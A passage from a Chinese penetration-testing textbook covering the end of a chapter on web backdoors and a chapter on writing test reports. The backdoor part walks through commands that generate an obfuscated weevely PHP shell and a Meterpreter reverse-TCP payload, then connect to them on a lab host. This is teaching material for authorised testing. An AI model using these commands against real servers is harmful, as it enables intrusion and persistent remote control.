● 在图像文件中追加多态的后门程序,并可通过.htaccess 文件赋予图像文件执行权限;

● 生成后门.htaccess 文件。

● 可通过help 选项列出程序的全部模块和生成工具。

# weevely help

下列指令可生成混淆PHP backdoor,并将后门保存为display.php。

# weevely generate password display.php

[generate.php] Backdoor file 'display.php' created with password

'password'

上述指令生成的display.php的内容如图11.26所示。

figure_0342_0168

图11.26

然后通过正常的途径或利用程序的漏洞,把后门文件上传到目标服务器上。

然后使用下述命令访问被测主机(192.168.2.23)的Web shell。

# weevely http://192.168.2.23/display.php password

只要连接成功,您就能连接到weevely的Web shell 上。为了检测功能是否正常,我们可在 Web shell 中执行.net.ifaces 指令以获取远程主机的网络接口信息。另外,我们还可以运行id指令查看当前用户的ID(见图11.27)。

figure_0342_0169

图11.27

上述信息表明,我们成功地连接到被测主机的Web shell。在此shell 上,您可以在远程主机上执行其他命令。例如,您可通过:help指令查看weevely支持的各种指令(见图11.28)。

figure_0343_0170

图11.28

例如,我们可以使用下述指令扫描被测主机的22端口。

msfadmin@:/var/www $ :net.scan 192.168.2.23 22

SCAN 192.168.2.23:22-22 OPEN: 192.168.2.23:22

也可以用被测主机扫描自身的80端口。

msfadmin@:/var/www $ :net.scan 192.168.2.23 80

SCAN 192.168.2.23:80-80 OPEN: 192.168.2.23:80

您可随时使用组合键Ctrl+C 退出weevely shell。

weevely程序只能制作PHP 脚本的Web shell,如需创建其他脚本的Web shell,可考虑 Laudanum(http://laudanum.inguardians. com/)。Laudanum除了具备Web shell的功能之外,还有DNS查询、获取LDAP信息等其他功能。它支持ASP、ASPX、CFM、JSP和PHP脚本。

11.3.3 PHP Meterpreter

Metasploit 有一个名为PHP Meterpreter 的payload。这个模块可以创建具有Meterpreter功能的PHP Web shell。利用目标的漏洞(诸如常见的注入和上传漏洞)之后,再把它的shell传到目标主机即可。

Metasploit 的msfvenom 工具可以制作PHP meterpreter,具体指令如下。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.23 -f raw >

php-meter.php

上述指令各选项的作用如下。

● -p:指定payload 为php/meterpreter/reverse_tcp。

● -f:设置输出格式(raw)。

● LHOST:设定目标主机的IP 地址。

Metasploit 会把生成的PHP meterpreter 保存为文件php-mter.php。这个文件的部分内容如图11.29所示。

figure_0344_0171

图11.29

如图11.29所示,在上传后门到被测主机之前,首先要删除脚本第一行的注释。

其次,我们还要在攻击主机上作好受理PHP Meterpreter 的准备。在Kali 的主机上启动Metasploit Console(msfconsole),并启动multi/handler exploit。然后指定制作shell 后门时用过的 php/meterpreter/reverse_tcp payload。接下来把变量 LHOST设置为 Kali 主机的 IP 地址。在此之后,使用 exploit 指令运行 exploit 的受理程序(handler)。上述指令的运行结果如图11.30所示。

figure_0345_0172

图11.30

在利用注入或者远程文件包含漏洞等Web 漏洞之后,把Web shell 上传到目标服务器。此后,您就可以通过Web浏览器访问shell(见图11.31)。

figure_0345_0173

图11.31

在运行Kali的测试主机上,Metasploit程序将会显示Meterpreter会话(见图11.32)。

figure_0345_0174

图11.32

此时,您就可以使用sysinfo和getuid之类的Meterpreter指令。

11.4 本章总结

本章通过cymothoa、intersect、metsvc工具的有关介绍,讲解了后门程序的具体应用。后门是维持对目标主机控制权的有效手段。

接下来,本章介绍了隧道工具。隧道工具可以用某种协议封装另一种协议,以绕过目标系统上的屏蔽对外连接的限制机制。相关篇幅介绍了dns2tcp、iodine、ncat、proxychains、ptunnel、socat、sslh和stunnel4的使用方法。

最后,本章简要介绍了制作Web shell 的Web 后门工具。把Web shell 上传到目标服务器之后,我们就可以连接到后门程序。

下一章将会讲解整理文档、书写报告,以及向客户讲解在渗透测试中发现的安全隐患的有关方法。

第12章 文档报告

专业的渗透测试要对评估结果进行追踪,所以渗透测试也要有正规的记录卷宗。把各种测试工具的输入和输出记录进行文档化管理,可保证评估结果的准确性、一致性和可再现性。渗透测试这个部分的工作,可能会涉及向客户演示评估结果的工作。应当严肃对待这个环节的工作。某些客户都会对已有漏洞进行缓解控制,然后模拟测试人员的测试过程,以验证改进措施的有效性;另一些客户可能会通过合同要求测试人员进行再次测试,以验证客户改进方案的效果。使用准确的语言把测试的各个步骤整理为有关卷宗,有助于您在这个环节中进行相同的验证性测试。

测试的卷宗应当记录下测试工作中的全部测试行为。在渗透测试的时间窗口内,万一甲方的业务受到测试以外的因素的影响,这些卷宗将能证明您的测试内容。虽然记录操作行为的这种事情乏味而枯燥,但是专业的渗透测试人员会非常注重这项工作。

要精心准备涉及核心领域的文档、汇报和现场演示,注重内容的全局性、条理性和连贯性。本章会详细介绍有关工作的要点,指导读者通盘考虑文档和报告工作的策略。本章将会涉及以下主题。

● 验证测试结果,毕竟汇报的内容应当是经过验证的测试结论。

● 渗透测试项目时常涉及客户的行政层、管理层、技术层。不同层面的人员对测试项目有着不同的关注点。本文将讨论分别满足他们需求的报告类型和报告结构。

● 演示一节将介绍如何根据听众水平准备适当的演示材料。

● 渗透报告都要有测试的后期工作、改正方法和改进建议。这部分将帮助有关部门进行整改。要提出专业的整改意见,就要从安全的角度深度分析被测单位的信息系统,这无疑是汇报人员工作中的一大难点。

本章的各个小节均能指导读者得当地准备文档、汇报和演示工作。这些工作的细微纰漏都可能引发法律问题。报告的观点必须与测试中发现的事实一致。而且,指出目标系统的潜在缺陷只是报告的基本作用,客户对报告的期待往往更高。例如,客户可能要求报告内容能够以已知的和规划规定为出发点,通过具有说服力的证据进行问题演示。此外,还要明确可用来进行攻击的犯罪手段、有关工具和技术,列举已发现的漏洞并验证利用漏洞的可行性。大体上说,文档报告的重点应当是甲方的安全脆弱性,而不是乙方挖掘漏洞的具体过程或涉及漏洞的技术现象。

12.1 文档记录与结果验证

在测试过程中可能会发现很多漏洞,但是并非每个漏洞都可被利用。要验证漏洞存在被攻击的可能性,本质上说就必须对大量的漏洞进行验证。验证漏洞是减少出错的必要手段,更是关系到信誉和诚实形象的重要工作。不少人都会直接整段复制扫描程序的扫描报告,把那些文字拼凑一下就直接向客户交付。这种做法不仅不负责任,而且缺乏对评估过程的必要控制,最终可能导致严重的后果,甚至影响测试人员的职业生涯。如果软件的扫描结果存在假阴性问题,会让用户错误地判断安全水平,甚至令他们身陷危险。因此,必须尽量排除错误,消除测试结果之中的各种矛盾,力争保证测试数据的完整性不受人为因素的影响。以下的这些工作方法,有助于测试人员进行文档管理并验证测试结果的有效性,从而帮助他们把数据转变为真正的最终报告。

● 详细记录信息收集、目标识别、服务枚举、漏洞映射、社会工程学、漏洞利用、提升权权和访问维护各阶段的具体工作步骤。

● 最好给每个将会用到的Kali 工具都草拟一份笔记模板。这种模板应当明确声明工具用途、指令选项、与评估任务的关系,并空出留白以记录相应的测试结果。在使用特定工具得出某项结论之前,要至少重复这些过程两次,以避免测试结果受不可遇见因素的影响。例如,在使用Nmap程序进行端口扫描时,测试人员应当确定笔记模板中的内容涵盖了所有必要的信息,至少包括:使用目的、目标主机、指令选项、相关简介(例如服务监测、操作系统类型、MAC 地址、开放端口、设备类型等内容),并记录下相关程序的输出结果。

● 不要仅凭单一工具的结果就草率地作出鉴定结论。过于依赖单一工具(例如信息收集工具)的做法绝对不可取,因为那样可能会给渗透测试工作带来偏差甚至错误。所以,本书强烈建议您使用不同的工具进行相同项目的测试。这将确保测试结果的有效性,提高效率,减少假阴性和假阳性的偏差问题。换而言之,每个工具都是在特定环境下使用的具有各自专长的程序。某些实际情况下,测试人员可能要进行人工测试。总而言之,要充分利用个人知识和项目经验验证程序结果的有效性。

12.2 报告的种类

在验证过测试结果的全部细节之后,测试人员要把这些信息条理分明地组合成结构清晰的书面报告,最后还要把报告交付给利益相关者。测试报告可分为三种类型。每种类型的报告都有各自的模式,分别侧重于被测单位的不同角色人员。这三种报告分别是:

● 行政报告;

● 管理报告;

● 技术报告。

渗透测试人员要根据阅读人员的理解能力传递相应的信息。本文将详细介绍毎一种报告的行文结构和基本要素。然而,具体内容就需要测试人员根据项目目标自行斟酌了。需要注意的是,在向有关人员交付这些报告之前,应当确保这些报告向他们披露的信息与保密协议、法律规定和渗透测试协议的要求一致。

12.2.1 行政报告

在各种评估报告中,行政报告属于较为简洁的报告。这种报告应当以企业高层的角度,从业务战略的方面介绍渗透测试的作用。这种报告主要面对被测单位C开头的高管(CEO、CTO、CIO等),所以必须具备下列基本要素。

● 项目目标:有渗透测试人员和被测单位共同协商制定的评定准则。

● 漏洞与其风险等级:这部分内容要描述漏洞的风险等级(关键级、高危级、中等风险、低等风险级和信息泄露级)。风险的等级界定应能划分并突出技术安全问题的严重程度。

● 执行摘要:简明扼要地描述此次渗透测试任务采用的方法论、作用和目标,并着重介绍漏洞的数量以及可被利用的漏洞数量。

● 漏洞统计:分类介绍目标网络系统里存在的漏洞。通常,测试人员还会以饼形图或其他简明易懂的方式进行演示。

● 风险矩阵:对以识别出的漏洞进行量化分析和分类总结,推断可能会受风险影响的相关资源,以便于记忆的方式列举出此次任务的发现、参考文献和改进建议。

在草拟行政报告时,最好能够兼顾报告内容的创造力和文字的表达能力。行政报告并不是以技术角度反映评估结果的技术细节,而是要对技术评估结果进行总结,指出它们对业务的实际影响。一般来说,行政报告的篇幅应当是2~4页。

12.2.2 管理报告

管理报告通常讨论安全问题相关的法律法规和合规性问题。这种报告通常是对行政报告的必要扩充,不仅应能满足人力资源和其他管理层人士的工作需要,而且要从法定程序的角度分析问题。此类报告可能需要涉及以下方面。

● 法规问题:报告首先应当列举出已知的各种安全标准和法律法规,并指出它们与当前安全问题涉及的有关法律条款。应当重点突出已经触及的法律问题,以及企业可能在不经意间就会面临的严重的法律风险。

● 测试方法:帮助管理层人士理解渗透测试生命周期的简要介绍。

● 假设与局限性:阐述那些可能影响渗透测试人员完成特定目标的已知因素。

● 变更管理:某些人可能认为只有当被测单位进行系统改进的时候,测试人员才会涉及变更管理的工作。但是,在受控的 IT 环境中,策略管理和业务流程都涉及变更管理。测试人员在安全评估报告中提及的建议和推荐,应当与整个工作中地变化情况保持一致,以最大程度的减少意外事件给评估服务带来的负面影响。

● 配置管理:侧重于保持信息系统功能和性能的一致性。以系统安全的角度来看,每当某个变更可能影响目标环境(硬件、软件、物理属性和其他问题)的时候,有关人员就应当随后进行相应的配置管理。这种管理是对系统配置的一种监控手段,以维护系统的配置状态。

一个负责的专业渗透测试人员,在渗透测试步入任何环节之前都会向管理团队阐明情况。这种沟通工作不仅涉及一对一的面谈,而且要明确界定特定测试的评估标准。即,测试人员要和被测单位探讨评估时涉及合规化要求、评估采用的标准框架,确定特定测试的实际限制,判断改进建议是否对目标系统切实可行,了解配置变更对当前系统状态的影响等。所有这些因素都与目标环境的安全状态有着千丝万缕的联系,决定着技术安全评估人员应当给予什么建议和意见。

12.2.3 技术报告

被评估单位主要参照技术报告解决渗透测试时发现的安全问题。这类报告主要面向技术人员,帮助他们理解目标系统的核心安全问题。技术报告详细介绍各种漏洞、利用漏洞的具体方法、安全问题给业务带来的负面影响,以及针对这些威胁的补救建议。它得是全面保护网络系统的安全防护指南。前文介绍了行政报告和管理报告的基本要素。技术报告要对这两种报告进行补充说明,满足被评估单位技术团队的各种需求。有些情况下,技术报告也要包含前两种报告中的项目目标、漏洞及其风险等级、风险矩阵、漏洞统计、测试方法和假设与局限性内容。不过,技术报告的至少要涵盖以下内容。

● 安全问题:技术报告应当详细描述在渗透过程中发现的安全问题和针对这些漏洞的攻击方法。它应该使用列表详尽描述受影响的资源范围、攻击后果、测试时的请求和响应数据、模拟攻击所使用的请求和响应数据、向改善团队提供外部的参考文献、列举出可帮助被评估单位解决相关漏洞的针对性的专业建议。

● 漏洞映射:技术报告还应当详细列举出每个漏洞的具体位置,通过标识信息的映射(即参照信息)帮助技术人员找到漏洞所在。例如,IP 地址和相应主机的对应关系就是一种标识信息的映射。

● 利用程序映射:技术报告应当列举出测试人员核对并验证过的漏洞利用程序(exploit),并且要指明有关的漏洞利用程序是在网络里可以找到的公开程序,还是不公开的自测程序。如果能够指出漏洞利用程序的下载地址并说明它的公开日期,那么这份报告就更有说服力。

● 最佳实践:最佳实践可指导有关人员改进在设计、实施和运营方面的安全机制。例如,大型企业的 IT 环境通常部署边界级别的保护设施,以降低外部入侵的几率。最佳实践的各种案例都非常灵活,不需要干预生产系统也不需要改动原有程序。

一般来说,技术报告是向被测单位有关人员如实反映实际情况的技术文件。技术报告在风险管理中的作用重大,多数情况下都会被用于指导安全系统的改进工作。

12.3 渗透测试报告(样文)

因为渗透测试各有不同,所以渗透测试报告的行文结构也灵活多变。本文提供了一份以网络为测试对象的渗透测试报告,读者可以将其扩展为其他类型(如Web应用、防火墙、无线网络等)的渗透测试报告。渗透测试报告不仅有正文,肯定还有封面。应当在报告封面里注明公司名称、报告类型、扫描日期、作者姓名、文件修订号、简短的版权声明和保密声明。

以网络为测试目标的渗透测试报告,其正文部分应当由以下内容组成。

● 法律声明(Legal notice)

● 渗透测试协议(Penetration testing agreement)

● 简介(Introduction)

● 项目目标(Project objective)

● 假定和限制(Assumptions and imitations)

● 漏洞的影响(Vulnerability risk scale)

● 执行摘要(Executive summary)

● 风险矩阵(Risk matrix)

● 测试方法(Testing methodology)

● 安全威胁(Security threats)

● 改进建议(Recommendations)

● 漏洞映射(Vulnerabilities map)

● 利用方法(Exploits map)

● 合规性评估(Compliance assessment)

● 变更管理(Change management)

● 最佳实践(Best Practices)

● 附录(Annexes)

换而言之,报告撰写人员要使用明确的行文结构,把各种类型的报告中的所有信息整理为一份单独的完整报告。报告中的这些章又可再度细化,分为各种节,以更为详尽地介绍各种细节。例如,附录章节可在不同小节里分别列举技术细节、分析测试过程、操作日志、各种安全工具的原始数据、研究的详情、网络资源的引用以及术语表。用户会根据需要选择他们要看的报告类型,而测试人员要根据这种需求判断自己的定位和作用,然后再开始进行渗透测试。

12.4 准备演示的资料

在现场演示之前,演示人员应当实现了解听众的技术水平和关注要点。一次成功的现场演示,离不开针对听众的需求精心准备。若演讲内容与听众需求脱节,演示活动将会招致听众的反感。现场演示主要为了让听众理解测试人员在测试环节中发现的潜在风险因素。例如,行政级别的经理可能没有心思关注社会工程学攻击问题,但是他们可能需要理解安全的现状,想指导采用什么措施可以改善系统的安全性。

虽然在准备演示资料和演示方法方面没有统一的正规流程,但是演讲人员还是应当尽量让听众中的技术人员和非技术人员都能有所收获。估测听众的技能水平与了解被测信息系统一样,都是测试人员的工作。在现场演示中,要让听众像了解他们的关键资产那样了解演讲人员的技术实力。

只有客观地指出当前安全问题中存在的缺陷,才能保证现场演示不失专业水准。一次成功的现场演示应当以事实和现象为依据,由技术论证得出相应结论,并要给甲方负责改进的团队提供相应的意见。演示是一种面对面的交流活动,演讲人员应当事先准备好支持论点的事实和数据。

12.5 测试的后期流程

提供补救措施、改正步骤和整改建议都是渗透测试后期阶段的工作。在这些工作里,渗透测试人员要担当被测单位的改进顾问。因为要和大量的技术人员打交道,所以此时沟通能力和网络技术能力就显得尤为重要。

此外,除非专门进行培训,否则目标人群不可能掌握被测单位IT系统的全部知识。这种条件下渗透测试人员的工作很难做,他们就需要与有关技术的专家配合,才能知道如何修补各个缺陷。本文提出几个通用准则,以帮助读者向客户提供关键的改进建议。

● 测试报告要从网络设计入手,并且指出可能利用漏洞的各种必备条件。

● 侧重分析安全边界或数据中心的保护方案,力图在安全威胁后台服务器或工作站之前降低它们的数量。

● 客户端攻击和社会工程学攻击几乎无法避免。但是对员工进行针对性的最新对策和安全意识培训,至少可以降低这些攻击的危害。

● 渗透测试人员在提出每项建议之前,应当进行额外的调查,以确保他们的建议不会影响目标系统的功能。

● 在有必要部署第三方解决方案(IDS/IPS、防火墙、内容保护系统、杀毒软件、IAM技术等)的时候,应当验证这些方案的有效性和可靠性,还要对软件运行机制进行安全和效率方面的优化。

● 要区别对待不安全的(或面向公共提供网络服务的)网域和安全的网域,实施分而治之的保护策略。

● 提高研发团队的安全水准,通过安全的应用程序提高目标 IT 系统的安全性。应用程序的安全评估、源代码审计都可以给整个企业带来很高的回报。

● 采用物理安全措施。可通过安全环境设计、机械与电子门禁、入侵警报系统、闭路电视监控系统和个人身份识别系统,进行多层次的入场控制。

● 定期更新所有重要的安全系统,力求保证其保密性、完整性和可用性。

● 检测并验证所有文件中推荐的安全方案,消除入侵或漏洞利用的可能性。

12.6 本章总结

本章阐述了撰写渗透测试报告所必需的基本步骤,讨论了向客户进行现场演示的核心环节。本章开头便介绍了从某个工具中提取分析结果的具体方法,并强调了最终的汇报不能单纯依赖单一工具的检测结果。在最终定稿之前,测试人员必须使用自身经验和有关知识验证测试结果。也就是说,测试人员应当能人工验证测试结果。本章还介绍了不同类型的报告格式,集中讨论了从行政、管理和技术的方面撰写安全审计报告的方法。此外,本文还提供了一份以网络为对象的渗透测试报告模板,读者可在撰写报告的时候参考我们的模板。接下来,本文阐述了现场演示的价值和验证技术现象的方法,并介绍了向不同职业背景的听众进行演示的有关要点。

最后,本章还提供了在渗透测试后期通用的工作流程。读者在向用户提供有关补救措施或者改进建议的时候,可能需要参考这部分内容。这一节详细阐述了测试人员以对方技术团队顾问的身份,或者以改进负责人的身份向被测试单位提供整治意见的方法。